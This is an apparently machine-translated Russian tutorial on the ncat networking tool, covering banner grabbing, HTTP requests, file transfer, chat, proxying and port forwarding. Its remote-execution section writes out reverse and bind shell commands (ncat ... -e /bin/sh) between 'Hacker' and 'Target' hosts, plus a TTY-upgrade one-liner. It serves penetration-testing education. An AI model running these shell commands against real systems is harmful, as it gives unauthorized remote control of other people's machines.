Практический ncat - команды, использование и приложение в реальном времени
В зависимости от вашего знакомства с операционными системами Unix вы, возможно, слышали о встроенной сетевой утилите netcat, также называемой «Швейцарский армейский нож для сетей TCP / IP».
Netcat используется для установления соединений по сети и может передавать данные по протоколам UDP или TCP. Об этом инструменте и его различных приложениях написаны десятки отличных статей. Однако этот нацелен на то, чтобы пролить свет на современную повторную реализацию, разработанную Nmap Project, ncat!
netcat против ncat против nc
Часто netcat
, ncat
и nc
упоминаются как синонимы, как если бы они были одним и тем же инструментом. Хотя они выполняют аналогичные операции, есть несколько ключевых отличий:
netcat
Netcat - это многофункциональная сетевая утилита, созданная в 1996 году автором Хоббитом. Помимо установления сетевых подключений и передачи данных, netcat имеет широкий спектр возможностей.
За прошедшие годы программа netcat была несколько раз переписана, например, GNU и OpenBSD. Каждая из них направлена на расширение основных функций и добавление дополнительных функций, например, улучшенное туннелирование и / или поддержку IPv6.
ncat
Как было сказано ранее, ncat - это повторная реализация netcat, разработанная Nmap Project. Согласно общедоступному репозиторию инструмента GitHub, ncat был создан для замены разрозненного и практически не обслуживаемого семейства netcat.
В дополнение к современной кодовой базе и блестящим новым функциям, ncat продолжает активно развиваться.
nc
Традиционно nc был просто ссылкой на исходный двоичный файл netcat, установленный в системе. Это отображается с помощью символических ссылок или иначе называется символическими ссылками.
Однако при тестировании этой статьи я обнаружил, что эта ссылка на символическую ссылку может отличаться или быть неосознанно изменена пакетами, установленными пользователем. Например, последняя версия Kali Linux фактически связывает команду nc
с более поздним двоичным файлом ncat
, когда ncat установлен в системе через apt
.
Ключевые аргументы CMD
Ниже приведены лишь несколько аргументов командной строки, которые могут помочь вам улучшить использование ncat:
-p Specify port -l Listen for incoming connections -k keep open, allow multiple connections -n Do not resolve host names via DNS -v Verbose output-c, --sh-exec
runs cmd by passing to a system shell-e, --exec
runs cmd without shell interpretation --ssl Establish connection with SSL --chat Start ncat chat server --allow <IP> Only allow specified hosts to connect --deny <IP> Prevent specific hosts from connecting --allowfile <file> Only allow hosts from file to connect --denyfile <file> Prevent hosts in file from connecting
Сетевые подключения и захват баннеров
В приведенном ниже примере демонстрируется базовое использование ncat при подключении к удаленной службе. Просто добавьте цель IP address
и port
в аргументы командной строки, чтобы установить соединение.
В зависимости от конфигурации службы может быть возвращен баннер с подробными сведениями о службе, такими как поставщик или текущая версия. Этим можно злоупотреблять во время тестирования безопасности для выявления уязвимостей с помощью таких ресурсов, как exploit-db.com.
» $ ncat 192.168.1.7 21 220 (vsFTPd 2.3.4)
Создание HTTP-запросов
Во-вторых, ncat можно использовать для отправки настраиваемых HTTP (S) запросов на веб-сервер. Это можно использовать при устранении неполадок, для проверки возможности подключения или во время тестирования безопасности для изменения запросов, ищущих аномальные ответы.
» $ ncat --ssl google.com 443 GET / HTTP/1.1 Host: google.com HTTP/1.1 301 Moved Permanently Location: https://www.google.com/ Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=2592000 Server: gws Content-Length: 220
Передача файлов
Среди множества интересных и полезных функций ncat предоставляет возможность передавать файлы между двумя удаленными системами. Для этого настройте прослушиватель ncat на своем сервере или отправляющем хосте и прочтите содержимое целевого файла как стандартный ввод.
Аргумент --send-only
, показанный ниже, указывает, что соединение должно быть закрыто после передачи всех данных клиенту.
(Server) » $ echo 'My awesome file!' > shared_file.txt
(Server) » $ ncat --send-only
-lp 80 < shared_file.txt
На клиенте или принимающем хосте просто перенаправьте вывод ncat в файл во время процесса подключения. Аргумент --recv-only
затем закроет соединение после завершения передачи.
(Client) » $ ncat --recv-only
127.0.0.1 80 > shared_file.txt
(Client) » $ cat shared_file.txt
My awesome file!
Боитесь, что кто-то перехватит ваши данные по незащищенному каналу?
Как и многие продемонстрированные команды, ncat поддерживает шифрование SSL во время передачи, добавляя аргумент --ssl
как клиенту, так и серверу.
Веб сервер
Ниже показано, как ncat используется в качестве веб-сервера для размещения локального index.html
. Обратите внимание на переключатель -k
в аргументах командной строки - это означает, что сервер должен продолжать прослушивание и принимать несколько клиентских подключений.
» $ ncat -lk -p 80 -c "echo -e 'HTTP/1.1 200 OK\r\n';cat index.html"
Групповой чат с шифрованием SSL
Функции чата Ncat позволяют нескольким пользователям взаимодействовать по сети. Для этого установите стандартный прослушиватель SSL и добавьте аргумент --chat
. Затем эта система будет считаться чат-сервером, на котором проводится беседа.
(Server) » $ ncat --ssl -lp 4443 --chat
Последующие клиенты могут подключаться к хосту и взаимодействовать с другими пользователями, используя имя хоста, порт и аргумент --ssl
:
(Client 1) » $ ncat 10.0.0.1 4443 --ssl <announce> 10.0.0.2 is connected as <user5>. <announce> 10.0.0.3 is connected as <user6>. Hi Chat!
Как показано, ncat поддерживает несколько пользовательских подключений:
(Client 2) » $ ncat 10.0.0.1 4443 --ssl <announce> 10.0.0.3 is connected as <user6>. <user5> Hi Chat!
Удаленное выполнение команд
Ncat упрощает запуск удаленных команд после установления соединения. Это возможно путем стратегического добавления аргумента -e
или —-exec
, за которым следует команда.
Большая часть официальной документации ncat демонстрирует эту функциональность с помощью таких примеров, как: ncat -l 23 -e "/bin/echo Hello”
. Однако это может быть адаптировано для обеспечения полноценной удаленной оболочки в целевой системе.
Обратная оболочка
Первый тип оболочки, продемонстрированный с помощью ncat, называется обратная оболочка. Для этого злоумышленник должен настроить стандартный прослушиватель и дождаться входящего соединения.
(Hacker) » $ ncat -lp 80
Затем клиент или цель снова подключается к злоумышленнику, перенаправляя /bin/sh
оболочку. Это предоставит слушающему хосту доступ для выполнения полного выполнения команд.
Примечание: при попытке выполнить это с целевой системы Windows требуется -e cmd.exe
.
(Target) » $ ncat 10.0.0.1 80 -e /bin/sh
Обратная оболочка полезна в ситуациях, когда входящий сетевой трафик ограничен или слишком рискованно открывать прослушивающий порт с помощью оболочки привязки - например, во внешней сети.
Привязать оболочку
Как упоминалось ранее, второй метод получения удаленного выполнения команд с помощью ncat - через Bind shell. Это не требует от злоумышленника настройки прослушивателя ncat. Вместо этого эта ответственность ложится на цель по настройке слушателя и предоставлению доступа подключающемуся клиенту.
Как показано ниже, целевая система создает стандартный прослушиватель ncat с аргументом -e
для пересылки оболочки /bin/sh
.
(Target) » $ ncat -lp 80 -e /bin/sh
Затем злоумышленник подключается к цели и получает все возможности удаленного выполнения команд.
(Hacker) » $ ncat 127.0.0.1 80
Оболочка связывания полезна в ситуациях, когда злоумышленник напрямую связан с целью. Однако будьте осторожны при выполнении этого метода, поскольку он может оставить хост уязвимым и разрешит доступ любому подключающемуся клиенту.
Обновление оболочки ncat (TTY)
Реверсивные и связывающие снаряды с ncat - это простой способ занять первую точку опоры на цели. Однако вы можете обнаружить, что сама оболочка является ограничивающей. Отсутствие контроля над заданиями означает одно случайное нажатие Ctrl + C, и вам придется начинать все сначала. Не говоря уже об отсутствии автозаполнения и ограниченной поддержке команд.
Чтобы помочь решить эти проблемы, могут быть выполнены определенные команды в зависимости от доступных сервисов, чтобы создать полностью интерактивную оболочку TTY. Это предоставит дополнительные возможности и больше функций комфорта, к которым мы привыкли в терминале Unix.
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
Предыдущая команда - лишь один из примеров того, как мы можем перейти с /bin/sh
на /bin/bash
и создать оболочку TTY, используя собственный python3
интерпретатор системы и библиотеку pty
.
Ncat через прокси
Ncat можно легко запустить через прокси, добавив аргумент--proxy
, за которым следует <proxy-host>:<proxy-port>
. Этот метод поддерживает параметры http
и socks
, а также аутентификацию с аргументом --proxy-auth
.
» $ ssh -N -D 9000 root@192.168.1
.1 root@192.168.1
.1’s password:
В следующем примере демонстрируется захват баннера службы SSH в 192.168.1.25
после маршрутизации трафика через socks4
прокси, созданный ранее:
» $ ncat --proxy localhost:9000 --proxy-type socks4 192.168.1.25 22 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
Перенаправление служебного порта
Последний практический пример - использование ncat для перенаправления портов целевой службы. Этот метод можно использовать при попытке доступа к службам, которые в противном случае недоступны из-за сетевых ограничений.
Переадресация портов с помощью ncat демонстрируется ниже, когда служба SSH по адресу 192.168.1.12:22
становится доступной с нашего локального хоста на порту 222
:
» $ ncat -klvp 222 -c "ncat -v 192.168.1.12 22" Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::222 Ncat: Listening on 0.0.0.0:222
Теперь, чтобы подключиться к удаленной службе, инициируйте новое SSH-соединение с перенаправляемым местоположением, как показано ниже:
» $ssh [email protected] -p 222 [email protected]'s password: root@kali:~$
Спасибо за прочтение! Хотите узнать о дополнительных инструментах для информационной безопасности? Хотелось бы услышать темы, которые вас интересуют. Не стесняйтесь общаться в твиттере @ m8r0wn.